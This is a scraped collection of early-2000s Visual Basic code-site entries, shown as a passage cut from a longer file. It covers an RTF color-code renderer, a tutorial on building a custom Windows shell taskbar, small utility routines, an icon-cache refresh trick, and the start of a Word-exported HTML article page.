i\n strTable = strTable & \"}\"\n ColorTable = strTable\nEnd Function\nSub PutText(rtf As RichTextBox, strData As String)\n \n If strData = \"\" Then Exit Sub\n \n '* Variable decs\n Dim i As Long, Length As Integer, strChar As String, strBuffer As String\n Dim clr As Integer, bclr As Integer, dftclr As Integer, strRTFBuff As String\n Dim bbbold As Boolean, bbunderline As Boolean, bbreverse As Boolean, strTmp As String\n Dim lngFC As String, lngBC As String, lngStart As Long, lngLength As Long, strPlaceHolder As String\n \n '* if not inialized, set font, intialiaze (and also generate color table)\n Dim btCharSet As Long\n Dim strRTF As String\n If rtf.Tag <> \"init'd\" Then\n rtf.Tag = \"init'd\"\n strFontName = rtf.Font.Name\n rtf.parent.FontName = strFontName\n btCharSet = GetTextCharset(rtf.parent.hdc)\n strRTF = \"\"\n strRTF = strRTF & \"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fcharset\" & btCharSet & \" \" & strFontName & \";}}\" & vbCrLf\n strRTF = strRTF & ColorTable & vbCrLf\n strRTF = strRTF & \"\\viewkind4\\uc1\\pard\\cf0\\fi-\" & intIndent & \"\\li\" & intIndent & \"\\f0\\fs\" & CInt(intFontSize * 2) & vbCrLf\n strPlaceHolder = \"\\n\"\n For i = 0 To 15\n strRTF = strRTF & \"\\cf\" & i & \" \" & strPlaceHolder\n Next\n strRTF = strRTF & \"}\"\n rtf.TextRTF = strRTF\n \n '* New session for window... call\n '# LogData rtf.Parent.Caption, \"blah\", strData, True\n Else\n '# LogData rtf.Parent.Caption, \"blah\", strData, False\n End If\n \n '* Generate header information to use (font name, size, etc)\n rtf.parent.FontName = strFontName\n btCharSet = GetTextCharset(rtf.parent.hdc)\n strRTF = \"\"\n strRTF = strRTF & \"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fcharset\" & btCharSet & \" \" & strFontName & \";}}\" & vbCrLf\n strRTF = strRTF & ColorTable & vbCrLf\n strRTF = strRTF & \"\\viewkind4\\uc1\\pard\\cf0\\fi-\" & intIndent & \"\\li\" & intIndent & \"\\f0\\fs\" & CInt(intFontSize * 2) & vbCrLf\n \n '* Reset all codes from previous lines.\n strRTFBuff = \"\\b0\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1 & \"\\i0\\ulnone \"\n dftclr = RAnsiColor(lngForeColor)\n \n '* Set loop\n Length = Len(strData)\n i = 1\n \n Do\n strChar = Mid(strData, i, 1)\n '* Check the current character\n Select Case strChar\n Case Chr(Cancel) 'cancel code\n ' Reset all previous formatting\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n lngFC = CStr(RAnsiColor(lngForeColor))\n lngBC = CStr(RAnsiColor(lngBackColor))\n strRTFBuff = strRTFBuff & strBuffer & \"\\b0\\ul0\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1\n strBuffer = \"\"\n i = i + 1\n Case strBold\t' bold\n ' Invert the bold flag, append the buffer of previous text, then bold character\n bbbold = Not bbbold\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\b\"\n If bbbold = False Then strRTFBuff = strRTFBuff & \"0\"\n strBuffer = \"\"\n i = i + 1\n Case strUnderline\t' underline\n ' Invert the underline flag, append the buffer of previous text, then under character\n bbunderline = Not bbunderline\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\ul\"\n If bbunderline = False Then strRTFBuff = strRTFBuff & \"none\"\n strBuffer = \"\"\n i = i + 1\n Case strReverse\n ' Invert the reverse flag, append the buffer of previous text, then set forecolor and backcolor to inverse\n bbreverse = Not bbreverse\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \" ' & strBuffer & \"\\\"\n If bbreverse = False Then\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1\n Else\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\cf\" & RAnsiColor(lngBackColor) + 1 & \"\\highlight\" & RAnsiColor(lngForeColor) + 1\n End If\n \n strBuffer = \"\"\n i = i + 1\n Case strColor\n \n strTmp = \"\"\n i = i + 1\n ' check the characters following the color character to find the color we need to set.\n Do Until Not ValidColorCode(strTmp) Or i > Length\n strTmp = strTmp & Mid(strData, i, 1)\n i = i + 1\n Loop\n \n ' If no color specified (color character alone), reset color, else change forecolor and back color if needed\n strTmp = LeftR(strTmp, 1)\n If strTmp = \"\" Then\n lngFC = CStr(RAnsiColor(lngForeColor))\n lngBC = CStr(RAnsiColor(lngBackColor))\n Else\n lngFC = LeftOf(strTmp, \",\")\n lngFC = CStr(CInt(lngFC))\n If InStr(strTmp, \",\") Then\n lngBC = RightOf(strTmp, \",\")\n If lngBC <> \"\" Then lngBC = CStr(CInt(lngBC)) Else lngBC = CStr(RAnsiColor(lngBackColor))\n Else\n lngBC = \"\"\n End If\n End If\n \n If lngFC = \"\" Then lngFC = CStr(lngForeColor)\n lngFC = Int(lngFC) + 1\n If lngBC <> \"\" Then lngBC = Int(lngBC) + 1\n \n ' This is where we actually change the color. \n ' We append the current buffer of previous text and then change the color\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer\n strRTFBuff = strRTFBuff & \"\\cf\" & lngFC\n If lngBC <> \"\" Then strRTFBuff = strRTFBuff & \"\\highlight\" & lngBC\n \n i = i - 1\n strBuffer = \"\"\n If i >= Length Then GoTo TheEnd\n \n Case Else\n ' Not a special code, so just append to the buffer of text\n Select Case strChar\n ' make sure the { } and \\ characters are properly displayed, because RTF uses them for special formatting, so we escape them with \\\n Case \"}\", \"{\", \"\\\"\n strBuffer = strBuffer & \"\\\" & strChar\n Case Else\n strBuffer = strBuffer & strChar\n End Select\n i = i + 1\n End Select\n \n Loop Until i > Length\n \n \nTheEnd:\n ' if any data is left of buffer of previous text, then append it to the RTF buffer\n If strBuffer <> \"\" Then\n strRTFBuff = strRTFBuff & \" \" & strBuffer\n End If\n ' Set the caret to the end of the text and set the \"SelRTF property\".\n \n strRTFBuff = strRTFBuff & vbCrLf\n rtf.selStart = Len(rtf.Text)\n rtf.selLength = 0\n rtf.SelRTF = strRTF & strRTFBuff & vbCrLf & \" }\" & vbCrLf\n rtf.seltext = vbCrLf\n \nEnd Sub\nFunction ValidColorCode(strCode As String) As Boolean\n If strCode = \"\" Then ValidColorCode = True: Exit Function\n Dim c1 As Integer, c2 As Integer\n If strCode Like \"\" Or _\n strCode Like \"#\" Or _\n strCode Like \"##\" Or _\n strCode Like \"#,#\" Or _\n strCode Like \"##,#\" Or _\n strCode Like \"#,##\" Or _\n strCode Like \"#,\" Or _\n strCode Like \"##,\" Or _\n strCode Like \"##,##\" Or _\n strCode Like \",#\" Or _\n strCode Like \",##\" Then\n Dim strCol() As String\n strCol = Split(strCode, \",\")\n '\n If UBound(strCol) = -1 Then\n ValidColorCode = True\n ElseIf UBound(strCol) = 0 Then\n If strCol(0) = \"\" Then strCol(0) = 0\n If Int(strCol(0)) >= 0 And Int(strCol(0)) <= 99 Then\n ValidColorCode = True\n Exit Function\n Else\n ValidColorCode = False\n Exit Function\n End If\n Else\n If strCol(0) = \"\" Then strCol(0) = lngForeColor\n If strCol(1) = \"\" Then strCol(1) = 0\n c1 = Int(strCol(0))\n c2 = Int(strCol(1))\n If Int(c2) < 0 Or Int(c2) > 99 Then\n ValidColorCode = False\n Exit Function\n Else\n ValidColorCode = True\n Exit Function\n End If\n End If\n ValidColorCode = True\n Exit Function\n Else\n ValidColorCode = False\n Exit Function\n End If\nEnd Function\nFunction LeftR(strData As String, intMin As Integer)\n On Error Resume Next\n LeftR = Left(strData, Len(strData) - intMin)\nEnd Function"},{"WorldId":1,"id":29038,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29041,"LineNumber":1,"line":"<h1>Writing A Shell</h1>\n(Part1) By Nick Ridley\nDate: 20/11/2001\nContents:\n1- Introduction \n2- Getting started \n3- Taskbar buttons \n4- Next Issue\n<h3>1 - Introduction</h3>\nI have stated to write these tutorials to try and get some more people into writing\nshells in VB. I know that I am┬á not the best shell writer but I do know how to get\nstarted in making one and these tutorials are meant to give newbies that boost of info\nthey need so they will start.\nNick Ridley\n┬á\n<h3>2- Getting started</h3>\nBefore you even start to make your shell decide on some things first:\n1- Will it be free or commercial? \n2- Will it be open source? \n3- What colour scheme will you use? \n4- What versions of window will it be compatible with\nDecide on all of these things and then write them down on a bit of paper. Below start a\nbrainstorm of the word SHELL and come up with as much info. Now finalise what you want in\nlight of this info and decide on a name. Write down all this on a bit of paper and stick\nit to your monitor or something. Get some paper and a pen and keep this handy at all times\nto write down ideas. You may also need a calculator to do any sums and stuff.\nNow you have most the info you will need, now we can start.\nYou must now:\nCreate your project \nDo your splash screen \nDesign the place were the task buttons will be\n┬á\n<h3>3- The task buttons</h3>\nNow we will move on to task listing:\nI have re written some parts of a .bas file I got of PSC (I think this is made up of\nSoftshell and RepShell) and you must now add this to your project:\nNOTE: I did not fully write this, this is a rewritten version of what was in softshell\nand repshell, although I have re-written some of it\n[BEGIN TaskListing.bas]\n'I hope this bit encourages you newbies to \n'start new shells (use this to make a taskbar) \n \nPublic Declare Function EnumWindows Lib \"user32\" (ByVal lpEnumFunc As Long,\nByVal lParam As Long) As Long \nPublic Declare Function GetForegroundWindow Lib \"user32\" () As Long \nPublic Declare Function GetParent Lib \"user32\" (ByVal hwnd As Long) As Long \nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd\nAs Long) As Long \nPublic Declare Function GetWindowLong Lib \"user32\" Alias\n\"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long \nPublic Declare Function GetWindowText Lib \"user32\" Alias\n\"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As\nLong) As Long \n \nPublic Declare Function PostMessage Lib \"user32\" Alias \"PostMessageA\"\n(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\"\n(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long \n \nPublic Const LB_ADDSTRING = &H180 \nPublic Const LB_FINDSTRINGEXACT = &H1A2 \nPublic Const LB_ERR = (-1) \n \nPublic Const GW_OWNER = 4 \nPublic Const GWL_EXSTYLE = (-20) \n \nPublic Const WS_EX_APPWINDOW = &H40000 \nPublic Const WS_EX_TOOLWINDOW = &H80 \n \nPublic Declare Function IsZoomed Lib \"user32\" (ByVal hwnd As Long) As Boolean \nPublic Declare Function IsIconic Lib \"user32\" (ByVal hwnd As Long) As Long \nPublic Declare Function IsWindowVisible Lib \"user32\" (ByVal hwnd As Long) As\nLong \n \nPublic Declare Function DrawIconEx Lib \"user32\" (ByVal hdc As Long, ByVal xLeft\nAs Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As\nLong, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As\nLong) As Long \nPublic Const DI_NORMAL = &H3 \n \nPublic Declare Function GetClassLong Lib \"user32\" Alias\n\"GetClassLongA\" (ByVal hwnd As Long, ByVal nIndex As Integer) As Long \n \nPublic Const WM_GETICON = &H7F \nPublic Const GCL_HICON = (-14) \nPublic Const GCL_HICONSM = (-34) \nPublic Const WM_QUERYDRAGICON = &H37 \n \nPublic Declare Function SendMessageTimeout Lib \"user32\" Alias\n\"SendMessageTimeoutA\" (ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As\nLong, ByVal lParam As Long, ByVal fuFlags As Long, ByVal uTimeout As Long, lpdwResult As\nLong) As Long \n \n'This is used to get icons from windows >>>> \nPublic Declare Function DrawIcon Lib \"user32\" (ByVal hdc As Long, ByVal x As\nLong, ByVal y As Long, ByVal hIcon As Long) As Long \n \nPublic Function fEnumWindows(lst As ListBox) As Long \nWith lst \n.Clear \nfrmTasks.lstNames.Clear ' replace this as neccessary \nCall EnumWindows(AddressOf fEnumWindowsCallBack, .hwnd) \nfEnumWindows = .ListCount \nEnd With \nEnd Function \n \nPrivate Function fEnumWindowsCallBack(ByVal hwnd As Long, ByVal lParam As Long) As Long \n \nDim lExStyle As Long, bHasNoOwner As Boolean, sAdd As String, sCaption As String \n \nIf IsWindowVisible(hwnd) Then \nbHasNoOwner = (GetWindow(hwnd, GW_OWNER) = 0) \nlExStyle = GetWindowLong(hwnd, GWL_EXSTYLE) \n \nIf (((lExStyle And WS_EX_TOOLWINDOW) = 0) And bHasNoOwner) Or _ \n((lExStyle And WS_EX_APPWINDOW) And Not bHasNoOwner) Then \nsAdd = hwnd: sCaption = GetCaption(hwnd) \nCall SendMessage(lParam, LB_ADDSTRING, 0, ByVal sAdd) \nCall SendMessage(frmTasks.lstNames.hwnd, LB_ADDSTRING, 0, ByVal sCaption)<font\ncolor=\"#008040\"> ' replace this as neccessary \nEnd If \nEnd If \n \nfEnumWindowsCallBack = True \nEnd Function \n \nPublic Function GetCaption(hwnd As Long) As String \nDim mCaption As String, lReturn As Long \nmCaption = Space(255) \nlReturn = GetWindowText(hwnd, mCaption, 255) \nGetCaption = Left(mCaption, lReturn) \nEnd Function \n\n[END TaskListing.bas]\nIf you are not going to download the sample project you will need to write your own\nfunction to use this. In my project i have included a function to do this.\nBasically the functions do this:\nfEnumWindows\nlst = the list box were the window hWnd's will be held\nYou will also need to change a few lines (these are marked) to suit your project, You\ndo not need to directly call the rest of the functions.\nYou may also find this useful to set FG windows and make your taskbar stay on top:\n[BEGIN modWindows.bas]\nPublic Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long,\nByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal\ncy As Long, ByVal wFlags As Long) As Long \n \nPublic Const HWND_BOTTOM = 1 \nPublic Const HWND_NOTOPMOST = -2 \nPublic Const HWND_TOP = 0 \nPublic Const HWND_TOPMOST = -1 \n \nPublic Const SWP_NOACTIVATE = &H10 \nPublic Const SWP_SHOWWINDOW = &H40 \n \n \nDeclare Function ShowWindow Lib \"user32\" (ByVal hwnd As Long, ByVal nCmdShow As\nLong) As Long \nPublic Const SW_HIDE = 0 \nPublic Const SW_NORMAL = 1 \nPublic Const SW_SHOWMINIMIZED = 2 \nPublic Const SW_SHOWMAXIMIZED = 3 \nPublic Const SW_SHOWNOACTIVATE = 4 \nPublic Const SW_SHOW = 5 \nPublic Const SW_MINIMIZE = 6 \nPublic Const SW_SHOWMINNOACTIVE = 7 \nPublic Const SW_SHOWNA = 8 \nPublic Const SW_RESTORE = 9 \nPublic Const SW_SHOWDEFAULT = 10 \n \nPublic Declare Function BringWindowToTop Lib \"user32\" (ByVal hwnd As Long) As\nBoolean \n \nPublic Declare Function IsIconic Lib \"user32\" (ByVal hwnd As Long) As Long \n \nPublic Function WindowPos(frm As Object, setting As Integer) \n'Change positions of windows, make top most etc... \n \n \nDim i As Integer \nSelect Case setting \nCase 1 \ni = HWND_TOPMOST \nCase 2 \ni = HWND_TOP \nCase 3 \ni = HWND_NOTOPMOST \nCase 4 \ni = HWND_BOTTOM \nEnd Select \n \nSetWindowPos frm.hwnd, i, frm.Left / 15, _ \nfrm.Top / 15, frm.Width / 15, _ \nfrm.Height / 15, SWP_SHOWWINDOW Or SWP_NOACTIVATE \n \nEnd Function \n \nPublic Sub SetFGWindow(ByVal hwnd As Long, Show As Boolean) \nIf Show Then \nIf IsIconic(hwnd) Then \nShowWindow hwnd, SW_RESTORE \nElse \nBringWindowToTop hwnd \nEnd If \nElse \nShowWindow hwnd, SW_MINIMIZE \nEnd If \nEnd Sub\n[END modWindows.bas]\nNow you can either use this info to build your own project or use mine.\n<h1>I HIGHLY RECOMEND YOU DOWNLOAD MY SAMPLE</h1>\n<h3>This DOES NOT cover everything</h3>\n<h3>4- Next Issue:</h3>\nIn the next issue I plan to describe how to make a start menu (hopefully in more detail\nthan this) describing how to get icons from files and how to make menus appear and\ndisappear. And in further issues i will describe how to make a system tray for example.\n┬á\nI hope you find this useful and PLEASE VOTE and LEAVE COMMENTS.\nWhat annoys me is when people read your code and use it but dont vote so please show your\nappreciation and even if you vote poor every vote counts.\n<h3>Thanx for reading</h3>\n<h4>Nick Ridley</h4>\n<a href=\"http://www.spyderhackers.co.uk\">http://www.spyderhackers.co.uk</a>\n<a href=\"http://www.spyderhackers.com\">http://www.spyderhackers.com</a>\n<a href=\"mailto:nick@spyderhackers.com\">nick@spyderhackers.com</a>\n"},{"WorldId":1,"id":29047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29049,"LineNumber":1,"line":"Sub Sleep(ByVal MillaSec As Long, Optional ByVal Freeze As Boolean = False)\n Dim tStart#, Tmr#\n tStart = Timer\n While Tmr < (MillaSec / 1000)\n Tmr = Timer - tStart\n If Freeze = False Then DoEvents\n Wend\nEnd Sub"},{"WorldId":1,"id":29051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29061,"LineNumber":1,"line":"In windows 32bit all icons being used by the shell are stored in memory in what is known as the icon cache. Ussually this only gets rebuilt when the program starts up (although windows does a little bit of cleaning up of un-used icons at run-time) and so therefore any change to the windows registry default icons does nothing until windows has restarted.\nUsing the technique listed here you should be able to produce code that can force windows to rebuild this icon cache, and therefore display any changes at run-time.\nI must stress that this technique is not perfect and can produce some strange results, i've noticed that it can make the little shortcut arrow icon appear as a blank box 'behind' the shortcut icon. It's up to you whether you want to use this code or let the user wait to reboot before they see your changes to thier icons.\nAnyway...\nAs it appears there is no single windows api to achieve this, because of this you have to be a little bit clever :)\nTo do this you must follow these steps:\n(1) Get the value held in \"HKEY_CURRENT_USER\\\nControl Panel\\Desktop\\WindowMetrics Registry key\".\nYou'll want the value held in \"Shell Icon Size\" (if this throws up an error try \"Shell Icon BPP\")\n(2) Subtract 0ne from this number\n(3) Write the number back to the registry\n(4) Call SendMessageTimeout HWND_BROADCAST\n(5) Reset the key to its original setting\n(6) call SendMessageTimeout HWND_BROADCAST once again\nThats it! Theres plenty of articals and source code on this site to change registry entries just do a quick search.\nThe *.zip has some of the api declares and some code snippets you may find usefull.\n"},{"WorldId":1,"id":29062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38720,"LineNumber":1,"line":"Public Sub ListView_Clear(lstListName As ListView)\nDim lCount As Long\nDim lLoop As Long\n' Count items in listview\nlCount = lstListName.ListItems.Count\n' clear would probably be faster on a low number!\nIf lCount > 10 Then\n ' loop through (backwards) to remove items\n ' They're not visible so it's becomes fatser!!\n For lLoop = lCount To 1 Step -1\n \n lstListName.ListItems.Remove lLoop\n Next\n \nElse\n lstListName.ListItems.Clear\nEnd If\n\nEnd Sub\n"},{"WorldId":1,"id":38721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38723,"LineNumber":1,"line":"Private Sub Command1_Click()\nOpen CurDir & \"/commandline.bat\" For Output As #1\nPrint #1, Text1.Text\nClose #1\nShell (CurDir & \"/commandline.bat\"), vbNormalFocus\nEnd Sub\n"},{"WorldId":1,"id":38727,"LineNumber":1,"line":"To use this article, check if you got wnaspi32.dll\ninstalled on your system!\nFirst of all:\nWhat the hell is ASPI? -ASPI is a dll(wnaspi32.dll) that\ngets and sends data to drives etc.\nIt's a dll written for c or c++ so you can't call them in VB.\nBut you can write a wrapper-dll. The dll and its source are included in the zipfile(click on download article)\nFor example you can use this dll, to fill a listbox with CD-ROM devices installed on your computer.\nIt could be used to burn files on cd-r.\nThe example shows you howto search for a CD-ROM device and read the TOC (Table Of Contents) in mins, secs and frms.\nNow click on \"Download Article\" and have phun!!!\nP.S.: don't forget to vote!"},{"WorldId":1,"id":38733,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38734,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML xmlns=\"http://www.w3.org/TR/REC-html40\" xmlns:o = \n\"urn:schemas-microsoft-com:office:office\" xmlns:w = \n\"urn:schemas-microsoft-com:office:word\"><HEAD><TITLE>I articulate</TITLE>\n<META http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<META content=Word.Document name=ProgId>\n<META content=\"MSHTML 6.00.2715.400\" name=GENERATOR>\n<META content=\"Microsoft Word 10\" name=Originator>\n<META \ncontent=\"Berardi Michele Programmatore Senior Developer http://web.tiscali.it/mberardi/ e-mail: 03473192000@vizzavi.it mfxaub@tin.it mobile: +39 347 319 2000 Customize Your Opportunities!\" \nname=author>\n<META \ncontent=\"http://web.tiscali.it/mberardi/ Berardi Michele programmatore senior con esperienze concomitanti sia nella ricerca e sviluppo su sistemi wireless e palmari che web programming nonch├¿ programmazione classica , amministrazione e gestione della sicurezza e del problem solving attinente la gestione sia dei sistemi Unix che windows. La sua esperienza si fonda su solide nozioni classiche di algoritmica e programmazione che su ricerca continua all'innovazione ed al miglioramento delle conoscenze in sintonia con i tempi. Come valore aggiunto offre una forte capacit├á creativa e di integrazione con i commerciali ed in genere nel team working.\" \nname=description>\n<META \ncontent=\"web agency, website, siti, internet, web, solutions, maintenance, creations, toys, advertise, games, giochi, flash, Tin.it, Virgilio, Seat pagine gialle, advertising, consulenza, net added value, new economy, tecnologia, web oriented, webdesign, search engines, registrazione nei motori, motori di ricerca, usability, usabilit├á, spazio web, registrazione dominio, commercio elettronico, connettivit├á, mobile, marketing, multimedia, business-to-business, business-to-consumer, b2b, b2c, umts, wap, gprs, wireless, e-commerce, portali, web portal, hosting, programmazione, asp, php, ASP, xml, html, javascript, java, js, css, action scripts, dhtml, dynamic, xhtml, vbscript, cgi, sql, perl, carrello elettronico, database, Foggia, provincia di Foggia, Puglia, Italia, Italy , Programmatore, developer, creative, analyst, senior, embedded, visual, basic, C, pocket, pc, palmari, career, summary, expert, system, administrator, unix, windows, win32, *nix, linux, solaris, windows, CE, wireless, customize, opportunities\" name=keywords><LINK href=\"panoramica_su_evb30_file/filelist.xml\" \nrel=File-List>\n<STYLE>@font-face {\n\tfont-family: Verdana;\n}\n@page Section1 {size: 595.3pt 841.9pt; margin: 42.55pt 2.0cm 2.0cm 2.0cm; mso-header-margin: 35.4pt; mso-footer-margin: 35.4pt; mso-paper-source: 0; }\nP.MsoNormal {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-style-parent: \"\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"\n}\nLI.MsoNormal {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-style-parent: \"\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"\n}\nDIV.MsoNormal {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-style-parent: \"\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"\n}\nA:link {\n\tCOLOR: blue; TEXT-DECORATION: underline; text-underline: single\n}\nSPAN.MsoHyperlink {\n\tCOLOR: blue; TEXT-DECORATION: underline; text-underline: single\n}\nA:visited {\n\tCOLOR: purple; TEXT-DECORATION: underline; text-underline: single\n}\nSPAN.MsoHyperlinkFollowed {\n\tCOLOR: purple; TEXT-DECORATION: underline; text-underline: single\n}\nP.autore {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: autore\n}\nLI.autore {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: autore\n}\nDIV.autore {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: autore\n}\nP.bibliografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: bibliografia\n}\nLI.bibliografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: bibliografia\n}\nDIV.bibliografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: bibliografia\n}\nP.biografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: biografia\n}\nLI.biografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: biografia\n}\nDIV.biografia {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: biografia\n}\nP.listatino {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Courier New\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: listatino\n}\nLI.listatino {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Courier New\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: listatino\n}\nDIV.listatino {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Courier New\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: listatino\n}\nP.occhiello {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: occhiello\n}\nLI.occhiello {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: occhiello\n}\nDIV.occhiello {\n\tFONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-STYLE: italic; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: occhiello\n}\nP.titolodellarticolo {\n\tFONT-WEIGHT: bold; FONT-SIZE: 22pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolodellarticolo\n}\nLI.titolodellarticolo {\n\tFONT-WEIGHT: bold; FONT-SIZE: 22pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolodellarticolo\n}\nDIV.titolodellarticolo 